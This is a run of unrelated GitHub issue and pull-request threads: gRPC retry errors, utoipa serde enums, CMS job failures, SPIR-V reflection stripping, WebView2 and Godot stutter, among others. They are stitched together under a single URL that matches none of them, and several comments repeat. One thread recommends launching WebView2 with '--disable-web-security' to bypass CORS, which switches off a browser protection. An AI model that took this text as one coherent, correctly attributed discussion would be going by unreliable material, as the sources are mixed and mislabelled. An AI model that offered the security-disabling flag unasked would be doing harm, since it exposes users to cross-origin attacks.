https://github.com/sillsdev/serval/pull/283


fix: exception occurred in retry method

Fixes #611 #612   🦕

@JustinBeckwith Not sure it is a correct way to fix these issues. Found the solution from this comment :
https://github.com/googleapis/nodejs-vision/issues/575#issuecomment-611766984
PTL

Not sure if this is relevant but I just wanted to drop this here just in case. I received the error @munkhuushmgl mentioned using @google-cloud/dialogflow: 3.3.0. Below is the error log and subsequent fix:
Error: 3 INVALID_ARGUMENT: Input text not set.     at Object.callErrorFromStatus (C:\node_modules\@grpc\grpc-js\build\src\call.js:31:26)           at Object.onReceiveStatus (C:\node_modules\@grpc\grpc-js\build\src\client.js:176:52)            at Object.onReceiveStatus (C:\node_modules\@grpc\grpc-js\build\src\client-interceptors.js:342:141)     at Object.onReceiveStatus (C:\node_modules\@grpc\grpc-js\build\src\client-interceptors.js:305:181)     at C:\node_modules\@grpc\grpc-js\build\src\call-stream.js:124:78     at processTicksAndRejections (internal/process/task_queues.js:79:11) {   code: 3,   details: 'Input text not set.',   metadata: Metadata {     internalRepr: Map { 'grpc-server-stats-bin' => [Array] },     options: {}   },   note: 'Exception occurred in retry method that was not classified as transient' } Unhandled rejection TypeError: Cannot read property 'queryResult' of undefined     at helloHttp (C:\index.js:107:22) Error: Process exited with code 16     at process.<anonymous> (C:\node_modules\@google-cloud\functions-framework\build\src\invoker.js:275:22)     at process.emit (events.js:310:20)     at process.EventEmitter.emit (domain.js:482:12)     at process.exit (internal/process/per_thread.js:166:15)     at Object.sendCrashResponse (C:\node_modules\@google-cloud\functions-framework\build\src\logger.js:37:9)     at process.<anonymous> (C:\node_modules\@google-cloud\functions-framework\build\src\invoker.js:271:22)     at process.emit (events.js:310:20)     at process.EventEmitter.emit (domain.js:482:12)     at processPromiseRejections (internal/process/promises.js:209:33)     at processTicksAndRejections (internal/process/task_queues.js:98:32) npm ERR! code ELIFECYCLE npm ERR! errno 16 npm ERR<EMAIL_ADDRESS>start: npx functions-framework --target=helloHttp [--signature-type=http]`
npm ERR! Exit status 16
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>start script.
npm ERR! This is probably not a problem with npm. There is likely additional logging output above.
npm ERR!      C:\AppData\Roaming\npm-cache_logs\2020-12-10T00_25_19_724Z-debug.log
C:>npm ls @grpc/grpc-js
<EMAIL_ADDRESS>C:
--<EMAIL_ADDRESS> --<EMAIL_ADDRESS>--<EMAIL_ADDRESS>


Feat/serde enum representation

This brings support for all kinds of serde enum reprensentations.
Unit tests included, on top of which we tried generating Typescript bindings using openapi-generator (typescript-axios generator, not because of Axios but because the generated types are simple to understand). They do indeed look good, so we're confident that this works mostly like it should.
Maybe some missing docs? Could be done in a separate PR? If you feel like it, please provide examples of what needs an update.
Fixes #320
Fixes #219

Hey, sorry it took so long. I hope you get the time to review this again so we can get some progress here :)

It seems like this would work with IntoParams as well. The thing that is used to create parameters for the utoipa::path since they are actually using the same code.

Could you clarify what you mean ? It seems to me like IntoParams only supports struct, as expressed in IntoParams::get_struct_fields
match &self.data {
    Data::Struct(data_struct) => { // ... [omitted] },
    _ => abort("Only struct type is supported"),
}

Therefore I'm not sure what impact this PR has ?

Hey, sorry it took so long. I hope you get the time to review this again so we can get some progress here :)

It seems like this would work with IntoParams as well. The thing that is used to create parameters for the utoipa::path since they are actually using the same code.

Could you clarify what you mean ? It seems to me like IntoParams only supports struct, as expressed in IntoParams::get_struct_fields
match &self.data {
    Data::Struct(data_struct) => { // ... [omitted] },
    _ => abort("Only struct type is supported"),
}

Therefore I'm not sure what impact this PR has ?

Now that you mentioned. Just forget me saying about the IntoParams support. :smile:
If there ever comes a need support these enums in IntoParams it can be adressed in future.

Hey, sorry it took so long. I hope you get the time to review this again so we can get some progress here :)

No worries. I have also been quite busy last few weeks with life. I would say that addressing the comments in the code and adding docs either with separate PR will complete the feature set.

Could you clarify what you mean ? It seems to me like IntoParams only supports struct, as expressed in IntoParams::get_struct_fields
Therefore I'm not sure what impact this PR has ?

To be clear the mention about IntoParams can be ignored in my original comment. I already lined it out.

It seems like this would work with IntoParams as well. The thing that is used to create parameters for the utoipa::path since they are actually using the same code. That part starts with 1482 line. Probably would be useful to write a test at least for one of the new serde things for IntoParams Tests regarding IntoParams can be found from tests/path_derive.

Honestly I don't remember how did I get to think that that there is something to be done for IntoParams. :smile: Actually this PR itself will add support for IntoParams in a way that if an enum is used as parameter type ToSchema::schema will be called for the enum to generate the schema for the parameter.  Thus only place where these enum variants should be supported is in ToSchema implementation as you here have had implemented. The impact this PR gives is it just enhances ToSchema enums which itself is correct.
IntoParams does not need itself support for enums as you found out as well the struct type is supported only. If there ever will be a need to support enums in IntoParams that should actually be another PR then.
Hope this already clears it out a bit.  Just as if there is something unclear. It would be awesome to get this to the lib. :slightly_smiling_face:

Just rebased and pushed two commits :

One fixes the docs to mention the new supported features and correct some english wording that sounds better IMHO
One makes use of abort! instead of panic!, great catch, I didn't know that

I struggle to get what looks like two very valid comments about the parsing of features. I'm not suuuper familiar with OpenAPI itself.
For now on my local version I just removed the declaration of _title_features, because said features are unused. Tests are passing. Unclear if that means the Title feature shouldn't be allowed at all ?
By the way, even on master I have tests that didn't pass :
Couldn't compile the test.

failures:
    src/lib.rs - into_params (line 1538)
    src/lib.rs - path (line 1066)
    src/lib.rs - path (line 1085)
    src/lib.rs - path (line 884)
    src/lib.rs - path (line 905)

Is that expected ?

Just pushed this. I think this is good for re-review now

By the way, even on master I have tests that didn't pass :

This might be because of some of the tests needs cargo features not enabled by default. if you run the tests with ./scripts/test.sh utoipa-gen and ./scripts/test.sh utoipa They should pass.

For now on my local version I just removed the declaration of _title_features, because said features are unused. Tests are passing. Unclear if that means the Title feature shouldn't be allowed at all ?

The title feature is bit special case. In OpenAPI you can specify title for the each schema object. The split_for_title is to extract title attribute from derive attributes of enum variant. In the illustration below the title should be placed into enum variant Bar object and not into Foo object.
#[derive(ToSchema)]
struct Foo {}

#[derive(ToSchema)]
enum FooBar {
  #[schema(title  = "Bar")]
  Bar(Foo),
}

When the enum variant is created with ObjectVariant we add the possible title to the enum object variant itself. If we did not call split_for_title method the Title feature containing title attribute will be passed to the UnnamedStructSchema within the unnamed_struct_features which in turn will result incorrect OpenAPI spec what cannot be parsed correctly by the client generation libraries.
ObjectVariant {
  title: title_features.first().map(ToTokens::to_token_stream),
  item: UnnamedStructSchema {
      struct_name: Cow::Borrowed(self.enum_name),
      attributes: &variant.attrs,
      features: Some(unnamed_struct_features),
      fields: &unnamed_fields.unnamed,
  },
}

Thanks for the merge and the good work on the lib ! :)


Reset locale to C

I found some documentation referencing this issue:
https://doc.qt.io/qt-5/qcoreapplication.html#locale-settings
I reset the LC_ALL to "C" which is different from what the documentation states because we do not support any localization.

Fix #1574


Messed up ACDC documents

related to https://its.cern.ch/jira/browse/CMSCOMPPR-1224
the acdc was created, assigned using the announced site list in the acdc documents, and still
Job Name: 0f8a9278-9479-11e7-85c1-002590494fb0-2
WMBS job id: 1267929
Workflow: vlimant_ACDC0_task_SMP-RunIIWinter15wmLHE-00116__v1_T_170908_110320_1957
Task: /vlimant_ACDC0_task_SMP-RunIIWinter15wmLHE-00116__v1_T_170908_110320_1957/SMP-RunIIWinter15GenOnly-00012_0MergeRAWSIMoutput
Status: jobfailed
Input dataset:
Site: Unknown
Agent: vocms0304.cern.ch
ACDC URL: https://cmsweb.cern.ch/couchdb/acdcserver
State Transition
Exit code: 71101
Retry count: 4
Errors:
JobSubmit
    SubmitFailed (Exit Code: 71101)

        No sites are available to submit the job because the location of its input(s) do not pass the site whitelist/blacklist restrictions (WMAgent).: file locations: T2_UK_London_IC, T3_UK_London_RHUL, T3_UK_SGrid_Oxford: site white list: T2_UK_SGrid_Bristol, T2_UK_SGrid_RALPP, T2_UK_London_Brunel, T2_BR_SPRACE: site black list:

note the T3_UK_* which are IMO messing things up.
T3 does not appear in
https://cmsweb.cern.ch/couchdb/acdcserver/_design/ACDC/_view/byCollectionName?key="mcremone_task_SMP-RunIIWinter15wmLHE-00116__v1_T_170807_191109_6978"&include_docs=true&reduce=false

if this was a site playing black magic with site configs, I want a GGUS or something to understand if sites go untested in production.

I had a look yesterday and I couldn't find any issues.
I was investigating it further today, but unfortunately all the acdc data is gone.
It seems some of those files were available at T2_UK_London_IC, while it's not sitewhitelisted and that's why those jobs failed to be submitted. However, if it's not in the sitewhitelist, then I assume it wasn't in any of the acdc docs either (?)
When the WorkQueueManager is pulling and getting available work, it doesn't apply any location mapping (pnn x psn) nor data location update. The first place we hit a mapping is during job creation:
https://github.com/dmwm/WMCore/blob/master/src/python/WMCore/JobSplitting/JobFactory.py#L190
which in the end uses the sitedb data-processing API. So if data is placed in T2_UK_London_IC PNN, that would actually get mapped to 5 PSNs (the agent knows 3 of them):
'T2_UK_London_IC': ['T3_UK_SGrid_Oxford',
'T3_UK_London_RHUL',
'T2_UK_London_IC'],
that's where these T3_UK_* come from.
I don't think there is much left we can do here. Since it was one incident and all the debugging info is gone, I suggest we close it.

@prozober, if that shows up again, please come back to this


Pin SPK dependencies

As a:
spk user
I want:
spk generated artifacts to be pinned/versioned, where possible
So that:
I can ensure future stability if I use a version of spk that has been "certified"
Describe the solution you'd like:
Find out what dependencies spk and its workflow depends on (spk version in pipelines, fabrikate, helm, git, pipelines, azdo rest api, azdo node api, az cli etc.) and find out what versions we can control and find a way to set and pin versions on the consuming artifacts.
Acceptance Criteria:

[ ] spk command checks version on its dependencies (git, az cli versions)
[ ] spk artifacts require/set their own version that have been verified to work

Describe alternatives you've considered:
Additional context:
#1171  #1182 were caused by azdo updating the build agent's default helm version.
Adding version for bedrock.yaml: https://github.com/microsoft/bedrock/issues/1082
Adding version for pipelines: https://github.com/microsoft/bedrock/issues/1144
Does this require updates to documentation?:
Yes, especially on releases

Perhaps this would work better as an epic with the two AC's assigned out to specific issues.
Pending input from all areas: infra, introspection, services.
@andrebriggs this issue was created based on feedback from @mzilberman

Converting to bug and adding high priority. We've had users impacted by changes coming from outside of spk and bedrock. We should address this to prevent this from happening as soon as possible.

Related to https://github.com/microsoft/bedrock/issues/726


Release Azure.Search.Documents 11.3.0

11.3.0 GA release of Azure.Search.Documents SDK.
API diff from the current GA 11.2.1 can be seen here.

cc: @tg-msft

@tg-msft - this is the version we want to merge into 'master'. Using the latest preview rest spec as before to bring back normalizers and sematic search etc. Keeping the renames done for the GA release.


JavaScript  4.7.1 -breaks blockly plus

many blockly scripts are affected. i get the error "cannot extract blockly code".
shows no blockly code or messed up code after update.
flag button throws message blocks are not connected properly.
See : https://github.com/ioBroker/ioBroker.javascript/issues/639

Same in 4.7.2

issue open for to long without follow-up, closure


Fix Dg typo

Codecov Report

Merging #74 (1dd890d) into master (0e7d271) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master      #74   +/-   ##
=========================================
  Coverage     67.69%   67.69%
  Complexity      496      496
=========================================
  Files            83       83
  Lines          1693     1693
  Branches        167      167
=========================================
  Hits           1146     1146
  Misses          495      495
  Partials         52       52

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 0e7d271...1dd890d. Read the comment docs.


Update for .NET Core 3.0

Hello, Are there plans to update this guide for .NET Core 3.0?, thanks.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 031b20ec-7583-8277-f7a6-69ff3beffeac
Version Independent ID: 58c0d74e-2a5d-297e-4770-e8e44878b683
Content: .NET Microservices. Architecture for Containerized .NET Applications
Content Source: docs/architecture/microservices/index.md
Product: dotnet-architecture
Technology: microservices
GitHub Login: @nishanil
Microsoft Alias: nanil

Hi @tanukus,
Yes, it's in the plans, but first comes the 3.0 release for eShopOnContainers, you can take a peek in the dotnet3-migration/dev-dotnet3 branch.
Hope this helps.

Hey @tanukus, We've updated the guidance and the referencing samples to 3.1. Thanks for your patience. Please do share your feedback on the content :)
Closing this issue.


throw exception if window.crypto exists, but not window.crypto.subtle

This can happen when testing over http.  This message can save a developer some time if they encounter this situation.

I see a problem with this change. This means an environment that does not support the auto-detection mechanisms of a Web Crypto compatible API will throw this Error, instead of proceeding through the rest of the code. And evaluating the rest of the code is necessary even in the case the auto-detection code fails.
Because you can then use the setCryptoSubtle() and setWebCryptoVersion() functions to provide the necessary crypto API.
Likewise, if the proposed change did not throw an error but only logged an error or warning message, that message would be misleading and/or incorrect if the application is actually fully functional because the crypto API was provided.
I would like to propose changing this to a comment indicating that the Web Crypto API may not be found if unsupported by the environment or if certain requirements are not met by the runtime environment, for example not running inside HTTPS.

Discussed further with Casten and I am now convinced that there is no expected situation where window.crypto exists but window.crypto.subtle does not.
Merged change with slightly different wording into master, as this pull request has conflicts.


fix golint errors/warnings

Addresses #14756
Signed-off-by: Srini Brahmaroutu<EMAIL_ADDRESS>

Few comments. See also https://github.com/docker/docker/pull/14751#issuecomment-123393428, you need a period at the end of the sentences for the func comments. :wink:

@vdemeester Please review.

@brahmaroutu Could you add the package api/server to ./hack/make/validate-lint.

One nit, but LGTM

LGTM

LGTM


[SourceKit] Re-enable cancellation of non-completion requests

This enables the ability to cancel requests, which aren’t code completion requests, again.
Previous crashes in SILGen are prevented by disabling cancellation during the SIL stages. Instead, we add dedicated cancellation checkpoints before and after SIL.
rdar://98390926

@swift-ci Please test


[Question]: Usage with web workers (partytown)

Hello, Thanks for great work I'm looking forward to use the module
I remember a strategy or a similar option being discussed that let the user specify where to load the script. A possible option would be a worker to offload the 3rd party script entirely from the main thread. I can't find that discussion to link it.
Is there a way to use a worker for the scripts? Also will there be some kind of integration with tools like partytown? Thanks!

Hi, thanks for the question. I've made an issue here to track further https://github.com/nuxt/scripts/issues/182


Question：Can the messages of dreamview websocket be deserialized by "Object.Parser.ParseFrom(stream)"  directly？

System information

OS Platform and Distribution (e.g., Linux Ubuntu 18.04):ubuntu18.04
Apollo installed from (source or binary):source
Apollo version (3.5, 5.0, 5.5, 6.0):6.0

Steps to reproduce the issue:

Please use bullet points and include as much details as possible
I want to deserialize the messages grasped by websocket，Can it be deserialized by protobuf ？as follows：

This is the test code. "Simualtion.data" is Base64 encoding, and it didn't work. I have tied the format:hex and UTF-8.

They are probably protobuf binary data, you have to deserialize with protobuf javascript library.

Isn't protobuf cross-platform?

Isn't protobuf cross-platform?

Yes sorry thought you were trying to use javascript to decode it. Essentially you could use any language that Protobuf supports. You may get those libraries from the .proto files in Apollo project.


classes for different shapes

Closes #53 and prepares an easier implementation of custom pulses
Checklist before merge:

[ ] Reviewers confirm new code works as expected.
[ ] Tests are passing.
[ ] Documentation is updated.

Codecov Report
Patch coverage: 74.19% and project coverage change: -2.49 :warning:

Comparison is base (b03e4c0) 72.92% compared to head (d13e177) 70.43%.

Additional details and impacted files
@@            Coverage Diff             @@
##             main      #54      +/-   ##
==========================================
- Coverage   72.92%   70.43%   -2.49%
==========================================
  Files          10       11       +1
  Lines         517      548      +31
==========================================
+ Hits          377      386       +9
- Misses        140      162      +22

Flag
Coverage Δ

unittests
70.43% <74.19%> (-2.49%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

src/qibosoq/rfsoc_server.py
0.00% <0.00%> (ø)

src/qibosoq/components/pulses.py
86.66% <86.66%> (ø)

src/qibosoq/components/base.py
100.00% <100.00%> (ø)

src/qibosoq/programs/base.py
75.26% <100.00%> (-3.66%)
:arrow_down:

src/qibosoq/programs/flux.py
100.00% <100.00%> (ø)

src/qibosoq/programs/sweepers.py
94.66% <100.00%> (+0.07%)
:arrow_up:

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.

For me this one can even be merged. If you want to release 0.0.2 right after, that's also fine.


Trust Centre is not coming up on well selecting the Trust Centre button

Describe the bug
Trust Centre is not coming up on well selecting the Trust Centre button
To Reproduce
Steps to reproduce the behavior:

Go to 'https://docs.microsoft.com/en-us/dynamics365/ '
Click on 'Trust Centre.'
See error "No Page"

Expected behavior
Trust Centre to show

@Crlangfo can you please point us to the exact button you have in mind?

@Crlangfo Trust Center works well. We can't repro the issue. I will close it so far. We can reopen it if you have other question related to it.


fix: 🤔 syn-tab-group may throw an error when unmounted too quick

Checklist (for the issue creator)

[x] I have verified the bug exists in the latest version of @synergy-design-system/components (e.g. via pnpm install @synergy-design-system/components).
[ ] I can provide a simple, reproducible example of the issue (e.g. via code-sandbox or sample code, ...).
[x] I would be willing to provide a PR for this issue.

Version
The bug occurred with the following version of the component library: 2.2.0
Component
The issue arises when using the following component(s): syn-tab-group
Environment
The issue occurred with the following operating system(s): MacOS
The issue occurred in the following browser(s): All
Description

When unmounting the <syn-tab-group /> from the DOM, there may be an error while cleaning up the the component instance. This stems from the fact that during disconnectedCallback, the component tries to unobserve one of its children (this.nav) from the created resizeObserver. As the element is not in the DOM anymore, the whole disconnectedCallback fails with an resizeObserver exception.
This can be prevented if checking for existence of the navigation element. As this is is critical (e.g. for Karma Tests), I will add the fix in Synergy and also provide a PR at Shoelace.
Acceptance criteria

[ ] All DoD items successfully completed
[ ] Tab-Group tests run fine in Karma

We had a similiar issue in the textarea: https://github.com/synergy-design-system/synergy-design-system/issues/435
Maybe we should just have a look at all unmounts to make sure this will not happen again.


pin jinja2<3.1.* for docs

Fixes #5673

Passing workflow: https://app.circleci.com/pipelines/github/pytorch/vision/16043/workflows/62719384-f6aa-4635-a411-75602a4ce414/jobs/1298787

I guess we could leave it in both


API for setting User-Agent in Python port

Is your feature request related to a problem? Please describe.
It seems API for setting customized User-Agent was already added years before. #2661
But there seems not having any Python API for that. I also tried setting metadata like
metadata=[
            ["user-agent", "grpc-csharp/2.24.0-dev grpc-c/8.0.0 (ios; chttp2; ganges)"]
        ]

but it doesn't work.
Describe the solution you'd like
add an API for Python to set User-Agent header, or make user-agent header in metadata working.
Describe alternatives you've considered
Haven't looked into the code.
Additional context
my code here
  def server_info(self):
        channel = grpc.secure_channel("CENSORED:443", self.credentials)
        stub = MQRPC_pb2_grpc.MQRPC_EntrypointsStub(channel)
        resp = stub.Current(MQRPC_pb2.EntrypointsCurrentRequest(
            deviceType=self.platform,
            clientVersion=self.version
        ), metadata=[
            ["user-agent", "MyGame/1.0.0"],
            ["accept-language", "zh"]
        ])
        print(resp)

As the PR you referenced points out, this was implemented in Core years ago. While it's not well documented and not especially pretty, you should be able to access that functionality today like this:
 channel = grpc.secure_channel("CENSORED:443",
    self.credentials,
    options=(("grpc.primary_user_agent", "MyGame/1.0.0"),))


Bug: Collection name can't start with a capital letter

The first letter of a collection name can't be a capital letter. When I type a capital letter the lowercase version would be added. Not sure if it's intended but it doesn't make sense to me. Let me know if there is a particular reason for that.

Ok. So we shouldn't be able to use a capital letter in the entire name, not just the first letter. That could be improved.

It is just a frontend normalization, part of the shared "slugify" behavior. I've removed it in the develop branch to comply with the server allowed regex (^[a-zA-Z0-9][a-zA-Z0-9_]*$).


Update Suricata schema with additional flow fields

This PR adds some more detail to the suricata.flow record type in the Suricata schema by including fields that were previously missing. This is aimed at reducing the number of non-schema fields encountered in potential input from recent Suricata versions, which would then lead to a larger number of schema layouts that need to be inferred based on the observed event content.
Please review and -- if necessary -- ensure that reference files in the tests are updated.

I'll merge this into a new branch and will open a PR for that with the reference file updates. Thanks for the contribution!


Intermediate Skillmap should point to the updated files in pxt-arcade

I think the intermediate skillmap is still pulling from the sample repository.
I've made several changes/updates to pxt-arcade/docs/skillmap/intermediate-skillmap.md that I'd like users to see before it sees much more play time.
The biggger chunk of work here isn't moving the pointer, but adding the workaround to make sure current users don't lose their progress.

@shakao is this still an issue? If not close?

still an issue, we need to implement a feature to map one markdown url to another (microsoft/pxt-sample-skillmap/skillmap -> docs/skillmap/intermediate-skillmap), so that we can port the user's progress over. richard & i have a plan for it, i think we've just been doing the V2 layout stuff first

This is fixed with the latest update!


Disable tooltip

How to disable the tooltip that shows the time upon hover?

Fixed by setting title prop to null.


Injection on storyboard reference

As reported in Swinject#128, injection on storyboard references does not work properly when initial storyboard is created with custom (other than defaultContainer) container. @VladimirBorodko pointed out in this comment that problem is caused by not passing custom container when creating an instance of referenced storyboard.
This fixes the issue, however it introduces stack of storyboards used during instantiation of view controller, which is needed to obtain container of "parent" storyboard when creating storyboard reference. It is a bit too hacky for my taste, and would love if someone could come up with better solution.

Last 2 commits should also fix Swinject#125

Thank you for fixing the issue. It looks good to me. It is very difficult to subclass UIStoryboard for its irregular initializer and storyboard references. I think my implementation using static defaultContainer is also a little bit hacky.
Only one problem I found was unit tests failed on iOS 8.1 devices both in Travis and my local environment. Would you check the problem?

Described issues manifest when you use storyboard reference for relationship segues (e.g. root view controller is in referenced storyboard) - this feature is only supported in iOS 9.0+. Because of this I had to increase the target version of test bundle to 9.0 ( framework target version remains unchanged)
Not sure how to solve this - one option would be to isolate problematic tests to different test bundle which would be only ran on iOS 9.0 environment. Simpler one would be to run all the tests inside 9.0 environment, but that way we will lose coverage of iOS 8.

I think we can use #available like this to wrap the iOS9-only tests:
if #available(iOS 9.0, *) {
    // The test code here.
}

It's good to document that the storyboard reference feature works properly only on iOS 9.0+.

Thanks @jakubvano very much for fixing the issue, and adding a comment about the use of NSProcessInfo().isOperatingSystemAtLeastVersion instead of #available.
We might be able to reduce hacky code when we got a nice idea in the future. I introduced the static defaultContainer property for storyboard references and Main.storyboard instantiated by the system with UIMainStoryboardFile key specified in Info.plist. defaultContainer might also be changed to another better way.

@jakubvano, I usually add merged pull requests to a milestone not to forget mentioning them. This time, I added this pull request to milestone v1.0.0-beta.2.

👍 hopefully I will learn this flow soon enough :)

This is just my way, but I put merged pull requests into a milestone representing the next version. When I release the version, I write a release note listing the changes with contributor names.
For example:

Swinject v1.1.3 milestone: https://github.com/Swinject/Swinject/milestone/8?closed=1
Swinject v1.1.3 release note: https://github.com/Swinject/Swinject/releases/tag/1.1.3

Some people prefer writing CHANGELOG when they merge pull requests, but I prefer writing things later. I also do not make CHANGELOG file in Swinject repos because release notes show the changes.
I will write document for release procedure soon (or later😅)


[camera] Fix a disposed CameraController error thrown when changing a camera

Fixes a disposed CameraController error thrown when changing the camera in the camera example.
The error is thrown by the ValueListenableBuilder in the CameraPreview. Changing a camera disposes the previous CameraController before the widget state is updated causing the ValueListenableBuilder to listen to the disposed controller. This PR solves the issue by disposing the previous CameraController after the new one is initialized.
Error:
The following assertion was thrown building CameraPreview:
A CameraController was used after being disposed.
Once you have called dispose() on a CameraController, it can no longer be
used.

The relevant error-causing widget was:
  CameraPreview
  file:///Users/.../Projects/plugins/packages/camera/camera/example/lib/main.dart:188:16

Pre-launch Checklist

[x] I read the Contributor Guide and followed the process outlined there for submitting PRs.
[x] I read the Tree Hygiene wiki page, which explains my responsibilities.
[x] I read and followed the relevant style guides and ran the auto-formatter. (Note that unlike the flutter/flutter repo, the flutter/plugins repo does use dart format.)
[x] I signed the CLA.
[x] The title of the PR starts with the name of the plugin surrounded by square brackets, e.g. [shared_preferences]
[x] I listed at least one issue that this PR fixes in the description above.
[ ] I updated pubspec.yaml with an appropriate new version according to the pub versioning philosophy.
[ ] I updated CHANGELOG.md to add a description of the change.
[x] I updated/added relevant documentation (doc comments with ///).
[x] I added new tests to check the change I am making or feature I am adding, or Hixie said the PR is test exempt.
[x] All existing and new tests are passing.

@ditman @BeMacized @felangel

The test failure seems like a chrome flake:
UnknownException (13): unknown error: Chrome failed to start: exited abnormally.
  (unknown error: DevToolsActivePort file doesn't exist)
  (The process started from chrome location /usr/bin/google-chrome is no longer running, so ChromeDriver is assuming that Chrome has crashed.)
  (Driver info: chromedriver=91.0.4472.101 (af52a90bf87030dd1523486a1cd3ae25c5d76c9b-refs/branch-heads/4472@{#1462}),platform=Linux 5.4.104+ x86_64)

I'll restart the test.

Why wasn't this needed earlier?
I'm not entirely sure, but I can reproduce the issue and this does look like the appropriate fix to me.


Unable to format source file with Python 3.12 f-string

Unable to format when the below line is present.
f"{os.getenv("USERPROFILE")}{Constants.SLASH}Vault"

It turns out formatting fails when double quotes are present inside f-string which is allowed in Python 3.12
Logs :
2024-03-24 22:11:52.225 [info] error: cannot format vault_main_.py: Cannot parse: 15:26: VAULT_DIR = f"{os.getenv("USERPROFILE")}{Constants.SLASH}Vault"
Oh no! 💥 💔 💥
1 file failed to reformat.

@GokulRajV8 Please check your black version, this seems to be an issue reported by black itself. See https://github.com/psf/black/issues/4088 for example.


Add CQNU domain file for Chongqing Normal University

Add CQNU domain file for Chongqing Normal University
This Pull Request adds a new domain file for Chongqing Normal University (CQNU) to the repository.
File Path: lib/domains/cn/edu/cqnu.txt
Contents: Includes the domain information for CQNU.
-Motivation: This addition is part of an effort to include more universities in the repository to support academic institutions worldwide.
Please review the changes and let me know if any modifications are needed. Thank you!

@juanzzzys cqnu.edu.cn is already in the trusted list. This request is a duplicate. I have to close it. You can request a free license with @cqnu.edu.cn address at any time.


[Dashboard] Blank modal on logging session terminate

Shows a blank modal on loggin session terminate button click

This issue is being closed due to extended inactivity. Please feel free to reopen it if further attention is needed. Thank you for helping us keep the issue list relevant and focused!


unit test

There is no coverage information present for the Files changed

Total Project Coverage
36.07%
:x:


Overriding optimization in config-override.js

I am trying to override config.optimization but it doesn't seem to work. Is this supposed to work or there is another way to override? Thanks
This is what I have:
module.exports = override(
    config => ({
        ...config,
        output: {
        ...config.output,
        globalObject: 'this',
        },
        optimization: {
            ...config.optimization,
            moduleIds: 'hashed'
        }
    }));

Did you solve it?


[Webview2] Add example for bypassing CORS?

Can you add an example of using local file and bypassing CORS in the examples? I found this line but don't know where to supply it.
HOST_RESOURCE_ACCESS_KIND := { DENY: 0, ALLOW: 1, DENY_CORS: 2 }

https://learn.microsoft.com/en-us/microsoft-edge/webview2/reference/winrt/microsoft_web_webview2_core/corewebview2?view=webview2-winrt-1.0.2088.41#setvirtualhostnametofoldermapping
I haven't used this. Here's the documentation.

Reading the docs, I guess that's not what I thought it was. I need to provide this flag --disable-web-security to the EnvironmentOptions so that local html files can call APIs on the internet. Can you show me how?

WebView2.create(hwnd, , , , , { AdditionalBrowserArguments: '--disable-web-security' })

Thanks! That worked like a charm.


strip-reflect-info pass produces invalid byte code

I use glslang to compile HLSL shaders and enable HLSL functionality 1 to be able to get HLSL semantics. Everything works fine except validation layers complain about DecorateStringGOOGLE:
SPIR-V module not valid: DecorateStringGOOGLE requires one of the following extensions: SPV_GOOGLE_decorate_string
I was suggested (https://github.com/KhronosGroup/glslang/issues/1555) to use SPIRV-tools to strip reflection information, below is the code that I use:
spvtools::Optimizer SpirvOptimizer(SPV_ENV_VULKAN_1_0);
// Decorations defined in SPV_GOOGLE_hlsl_functionality1 are the only instructions
// removed by strip-reflect-info pass. All SPIRV offsets remain valid after this operation.
auto StripReflectInfoPass = spvtools::CreateStripReflectInfoPass();
SpirvOptimizer.RegisterPass(std::move(StripReflectInfoPass));
std::vector<uint32_t> StrippedSPIRV;
auto res = SpirvOptimizer.Run(m_SPIRV.data(), m_SPIRV.size(), &StrippedSPIRV);
VERIFY_EXPR(res);
m_SPIRV.swap(StrippedSPIRV);

However, this results in multiple shader modules being invalid and the app fails to start completely. Below are few errors resulting from stripping the reflection info:
SPIR-V module not valid: 3rd operand of MemberDecorateStringGOOGLE: operand 5635 requires one of these extensions: SPV_GOOGLE_hlsl_functionality1
SPIR-V module not valid: Invalid instruction word count: 0

The strip-reflect pass does not remove OpMemberDecorateStringGOOGLE instructions.  They should be removed.

@DiligentGraphics I may have a fix for your problem.  I am guessing at the actual problem because I do not have a reproducer.  Let me know if it fixes your problem.

@s-perron That fixes the first error, thanks!
The reason for the second problem was this: I use reflection information to store decoration offsets in the original byte code. As I was told elsewhere (https://github.com/KhronosGroup/glslang/issues/1555), stripping reflection information would not change the offsets, but apparently it does. So after the stripping, the offsets become invalid and I was corrupting byte code producing invalid SPIRV.

Hey, can you give me an example of the invalid spir-v?  I don't know what the problem is and which offsets you are refering to.  If possible, can you provide the valid spir-v file before stripping the reflection information, the command used to run it through spirv-opt, and instructions on how to spot the problem?
At this point, I do not know how to move forward.

@s-perron I am talking about offsets of DecorationBinding and DecorationDescriptorSet decorations that I use to set bindings and descriptor sets in the compiled byte code. As I said, I was assuming that these offsets do not change after stripping reflection information, but apparently they do. So I now strip reflection after I change the decorations and everything works fine

Those decorations should not be changed by strip-reflect.  Do you have an example that shows this happening?


Any differences between corne-light vs corne-classic besides detachable last column?

Is there anything different with pcb style in classic or light corne keyboards, eg. leds support/ smd/ through hole diodes support?
Also how durable that last column? Can't fr4 break from heavy use?

I am planning to build classic corne but without rgb led, just through hole diodes.

I looked up designs in kicad and noticed that corne light has two pcbs in one kicad file, in corne classic its just symmetrical pcbs.


Migrating saml configuration to declarative

Summary
Migrating saml configuration to declarative
Ticket Link
MM-11970
Checklist

[x] Ran make check-style to check for style errors (required for all pull requests)
[x] Ran make test to ensure unit and component tests passed

Was tested as part of https://mattermost.atlassian.net/browse/MM-11970 Adding label.


Stutters in linux mint 20 cinnamon

Hi, I encountered stuttering in godot when moving KinematicBody2D on linux mint 20 cinnamon and linux mint 18 xfce.
Tested on an old laptop with a Radeon HD 6400M / 7400M Series graphics card and an Intel (R) Celeron (R) CPU B820 @ 1.70GHz.
When vsync is on, the frame rate fluctuates between 59-61, if it is off then the fps fluctuates between 394-397, In full screen mode the same results.
I have attached a video as well as the profiler results:
https://user-images.githubusercontent.com/65621302/111202453-eebf2f80-85d4-11eb-89f2-157086c2f9b9.mp4

Hi, I encountered stuttering in godot when moving KinematicBody2D on linux mint 20 cinnamon and linux mint 18 xfce.
Tested on an old laptop with a Radeon HD 6400M / 7400M Series graphics card and an Intel (R) Celeron (R) CPU B820 @ 1.70GHz.
When vsync is on, the frame rate fluctuates between 59-61, if it is off then the fps fluctuates between 394-397, In full screen mode the same results.
